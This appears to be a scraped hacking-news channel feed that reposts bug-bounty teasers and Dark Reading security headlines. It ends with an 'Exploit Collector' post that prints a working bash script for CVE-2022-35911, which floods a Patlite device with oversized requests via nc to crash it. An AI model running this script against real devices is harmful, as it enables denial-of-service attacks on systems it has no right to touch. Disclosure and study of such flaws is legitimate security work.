Hacking Articles Tips Tricks Videos Tutorials

DoS worth $650 ? Interesting right!

Hey Guys, my name is Sagar Sajeev. This is my second writeup and I would like to share how I was rewarded with a bounty of $650 for a…Continue reading on Medium »
Read more...

6 views17:35

Mail Server Misconfiguration leads to sending a fax from anyone’s account on HelloFax (Dropbox BBP)…

Hi Everyone!,Continue reading on Medium »
Read more...

7 views17:35

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Critical Filewave MDM Vulnerabilities Allow Attackers Full Mobile Device Control

Two previously unknown critical vulnerabilities within FileWave’s multiplatform MDM system could grant malicious actors access to the platform's most privileged user account.

7 views17:45

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Getting Ahead of Supply Chain Attacks

Attackers are willing to replicate entire networks, purchase domains, and persist for months, not to mention spend significantly to make these campaigns successful.

5 views17:45

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Qakbot Is Back With a New Trick: DLL Sideloading

In the latest iteration, Qakbot operators are using DLL sideloading to deliver malware, a technique that places legitimate and malicious files together in a common directory to avoid detection.

6 views17:46

Source

Hacking Articles Tips Tricks Videos Tutorials

6 views17:46

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
Aqua Launches Out-of-the-Box Runtime Security with Advanced Protection against the Most Sophisticated Threats

Security professionals can now achieve real-time protection for their workloads in minutes.

6 views17:46

Hacking Articles Tips Tricks Videos Tutorials

4 views18:47

Hacking Articles Tips Tricks Videos Tutorials

4 views18:47

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Marty Marketplace Multi Vendor Ecommerce Script 1.2 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Marty Marketplace Multi Vendor Ecommerce Script 1.2 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 18:47

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Patlite 1.46 Buffer Overflow

https://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png
Patlite versions 1.45 and below suffer from a buffer overflow vulnerability.

SHA-256 | 5c29e3afa128083754b4bac9a8b929fac03751344f5c65c15f43df42fefcb136

Download

# Exploit Title: CVE-2022-35911 - Patlite Overflow.
# Date: 2022-07-07
# Exploit Author: Samy Younsi - Necrum Security Labs
# Vendor Homepage: https://www.patlite.co.jp
# Software Link: https://www.patlite.co.jp/product/detail0000021462.html
# Version: Versions 1.46 and bellow are affected
# Tested on: CentOs & Ubuntu
# CVE : CVE-2022-35911
#!/bin/bash

IP="192.168.1.101"
PORT="80"

for i in {0..1000}; 
do 
echo "[$i]: "; 
echo -ne "GET /api/control/AAAAAAAAAAAAAAAAAA HTTP/1.1\r\nHost: $IP\r\n\r\n" | nc $IP $PORT; 
done > /dev/null 2>&1